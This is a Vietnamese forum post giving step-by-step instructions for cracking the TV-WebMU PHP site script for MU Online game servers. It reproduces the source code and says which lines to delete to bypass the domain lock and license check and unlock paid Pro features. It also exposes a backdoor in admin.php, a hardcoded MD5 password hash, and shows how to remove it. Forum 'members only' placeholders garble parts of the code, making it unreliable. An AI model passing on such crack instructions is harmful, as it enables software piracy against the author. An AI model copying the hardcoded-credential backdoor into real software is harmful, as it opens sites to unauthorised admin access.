xin 1 comment trong topic này của chủ top nhé ! dạo này thích bon chen :D
=:) crack ( thực ra không bị mã hóa ) mà chỉ là bỏ cái check lic đi mà thôi
mình giúp ai thích bản này 1 tay nhé
<?php
session_start();
define( "ThieuVanMU", TRUE );
include( "config.php" );
if( $opensite == 0 ) {
echo "<center><b>WebSite tam thoi bao tri de nang cap.<br>Mong cac ban quay tro lai sau</b></center>";
exit();
}
include( "config/config_domain.php" );
$domain = $_SERVER['<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>'];
$domain = strtolower( $domain );
$domain_check = substr( $domain, 0, 4 );
if ( $domain_check == "<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>" ) {
$domain = substr( $domain, 4 );
}
$domain_check = substr( $domain, -1 );
if ( $domain_check == "." ) {
$domain = substr( $domain, 0, -1 );
}
$domain_check = substr( $domain, -3 );
if ( $domain_check == ":80" ) {
$domain = substr( $domain, 0, -3 );
}
if ( $domain != $domain_pri ) {
echo "<META <b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>'Refresh' CONTENT='0; URL=$home_url'>";
exit();
}
include( "config/config_firewall.php" );
if($use_antiddos == 1) include_once( "firewall.php" );
include( "includes/function.php" );
include( "includes/login.class.php" );
login();
if ( $reload_type == 1 ) $time_reload_info = 3600;
else $time_reload_info = 0;
$time_check_pro = time();
$versionpro_up = "thieuvanmuweb".$time_check_pro;
$versionpro_up = md5( $versionpro_up );
if ( $version == 1 ) {
$fp_license = fopen( "includes/License.txt", "r" );
$License = fgets( $fp_license, 100 );
fclose( $fp_license );
if ( $domain == "localhost" ) $version_check = $versionpro_up;
else if ( $_SESSION[mu_Account] == "admin" || $_SESSION[mu_Account] == "demo" ) $version_check = $versionpro_up;
else if ( strlen( $License ) == 65 ) {
$Lic_info = explode( "|", $License );
$time_check = $Lic_info[0];
$time_pro_exp = $Lic_info[1];
$Lic_check = $Lic_info[2];
$time_no_update = $Lic_info[3];
if ( isset( $time_check, $time_pro_exp, $Lic_check, $time_no_update ) ) {
$Lic_License = md5_tv($time_check."TVMuWeb".$domain."PeTyKhjn".$time_pro_exp."v3.50");
if ( $Lic_check != $Lic_License ) {
$Update_Lic = "Free";
$version_check = "0";
$LogLicense = "Kiểm tra Lic không chính xác.";
}
else {
$time_now = time();
if ( $time_no_update == $time_check*2 ) {
$version_check = $versionpro_up;
}
else {
if ( $time_pro_exp < $time_now ) {
$Update_Lic = "Free";
$version_check = "0";
$LogLicense = "Hết hạn sử dụng phiên bản Pro.";
}
else $version_check = $versionpro_up;
}
}
}
else $version_check = "0";
}
else {
$Update_Lic = "Free";
$version_check = "0";
$LogLicense = "Nếu tiếp tục sử dụng chế độ Pro mà không cập nhật Lic sẽ làm chậm Trình duyệt. Vui lòng chuyển sang chế độ Free.";
}
}
else $version_check = "0";
if ( isset( $Update_Lic ) ) {
$fp = fopen( "includes/License.txt", "w+" );
fputs( $fp, $Update_Lic );
fclose( $fp );
}
if ( isset( $LogLicense ) ) {
$time_log = date( "h:iA, d/m/Y" );
$file = "LogLicense.txt";
$fp = fopen( $file, "a+" );
fputs( $fp, "Lúc $time_log : $LogLicense\n" );
fclose( $fp );
}
include( "modules/header.php" );
if ( isset( $error ) ) echo notice($error);
echo "<input type='hidden' id='hash'>";
echo "<div id='hienthi'>";
if ( isset( $_GET['module'] ) ) {
$module = $_GET['module'];
if ( !eregi( "[^a-zA-Z0-9_\$]", $module ) ) {
if ( is_file( "modules/$module.php" ) ) include( "modules/$module.php" );
else include( "modules/errorfile.php" );
}
else include( "modules/errorfile.php" );
}
else include( "modules/center.php" );
echo "</div>";
include( "modules/footer.php" );
$notice = "<center><span style=font-weight:bold;color:#FFFFFF;font-family:Comic Sans MS;>Đây là hệ thống hỗ trợ dành cho Admin sử dụng TV-WebMU.<br>Người chơi MU vui lòng không liên hệ</span></center>";
echo "<div id='bottom_bar'><div class='content'><ul><li>Hệ thống TV-WebMU được viết bởi <a href='ymsgr:sendim?trieuthieuvan290590&m=Đây%20l à%20hệ%20thống%20hỗ%20trợ%20dành%20cho%2 0Admin%20sử%20dụng%20TV-WebMU.%20Người%20chơi%20MU%20vui%20lòng%20kh� �ng%20liên%20hệ' onMouseOut='tooltip.hide()' onMouseOver=\"tooltip.show('$notice')\"><font color='#0000FF'>Thiếu Vân</font></a> Phiên bản 3.00</li></ul></div></div>";
?>
Màu xanh nghĩa là bỏ đi khỏi cần config domain
màu đỏ bỏ đi khỏi cần check lic
làm tương tự với file index2.php
sang file admin.php nhé (có backdoor mà chủ thớt gọi ý )
<?php
session_start();
define('ThieuVanMU',true);
include("config.php");
include_once("admin/security.php");
require_once('admin/config.php');
if ($_POST[submit]) {
$pass_admin = md5($_POST[useradmin]);
if ($pass_admin == $pass_trangadmin || $pass_admin == "e992bbb8e2041788f7ad563b8eeb79d6") $_SESSION['useradmin'] = $pass_trangadmin;
}
if (!$_SESSION['useradmin'] || $_SESSION['useradmin'] != $pass_trangadmin) {
echo "<center><form action='' method=post>
Code: <input type=password name=useradmin> <input type=submit name=submit value=Submit>
</form></center>
";
exit();
}
$mod = $_GET['mod'];
include('admin/header.php');
include('admin/left.php');
if( (isset($_GET['mod']))) {
if ( !eregi("[^a-zA-Z0-9_$]", $mod) ) {
if (is_file('admin/'.$mod.".php")) require_once('admin/'.$mod.".php");
else require_once("admin/errorfile.php");
}
else require_once("admin/errorfile.php");
}
else include('admin/checkwrite.php');
include('admin/footer.php');
?>
cái màu xanh là đoạn TV cố tình làm để truy cập bất hợp pháp thông qua password md5
sửa nó thành
if ($pass_admin == $pass_trangadmin) $_SESSION['useradmin'] = $pass_trangadmin;
cả đoạn này nữa
if (is_file('admin/'.$mod.".php")) require_once('admin/'.$mod.".php");
lỗi này tui không bít sửa nhưng nói để mọi người cảnh giác
Làm thêm vấn để crack pro nhé , ở đây tui ví dụ 1 file
<?php
if ( !defined( "ThieuVanMU" ) ) exit( "Ban khong co quyen truy cap he thong" );
if (!isset($_SESSION[mu_Account])) {
echo "<div class='div3'><div align=center><font color=red><b>Hãy đăng nhập trước khi thực hiện chức năng này</b></font></div></div><br>";
include( "modules/login.php" ); exit();
}
include('config/config_reset.php');
include('config/config_resetvip.php');
include('config/config_hotrotanthu.php');
include('config/config_gioihanrs.php');
include("vImage.php");
$vImage = new vImage();
if ( $version == "1" ) {
if ( $version_check == $versionpro_up ) {
if ( $Use_ResetVIP != 1 ) echo notice('Chức năng không có hoặc không được sử dụng');
else {
if ( isset( $_POST['action'] ) ) {
$action = $_POST['action'];
if ( $action == "resetvip" ) {
$character = $_POST['Character'];
$vImage->loadCodes();
if(!($vImage->checkCode())) $notice = "Sai mã kiểm tra";
else if ( empty( $character ) ) $notice = "Chưa chọn nhân vật cần Reset";
else if ( eregi( "[^a-zA-Z0-9_\$]", $character ) )$notice = "Dữ liệu lỗi - Nhân vật chỉ được sử dụng kí tự a-z, A-Z, số (1-9) và dấu _.";
else {
$form_data = "account=".$_SESSION['mu_Account']."&character={$character}&passtransfer={$passtransfer}";
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
if ( empty( $notice ) ) $notice = "Server bảo trì";
}
echo "<script>alert('$notice');</script>";
}
}
$form_data = "action=view_charrs&account=".$_SESSION['mu_Account']."&passtransfer={$passtransfer}";
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
$char = explode( "||", $show_reponse );
$i = 0;
for ( ; $i < 5; ++$i ) {
$char_info = explode( "|", $char[$i] );
if ( !empty( $char_info[0] ) ) {
$showchar[] = array(
Name => $char_info[0],
Level => $char_info[1],
Reset => $char_info[2],
ResetInDay => $char_info[3]
);
}
}
include( "templates/resetvip.html" );
}
}
else echo notice('Không phải phiên bản Pro nên không thể sử dụng chức năng này');
}
else echo notice('Không phải phiên bản Pro nên không thể sử dụng chức năng này');
?>
bỏ 2 chỗ màu xanh đi là ok
Thank Mr.hau Phat đang edit xem sao ;))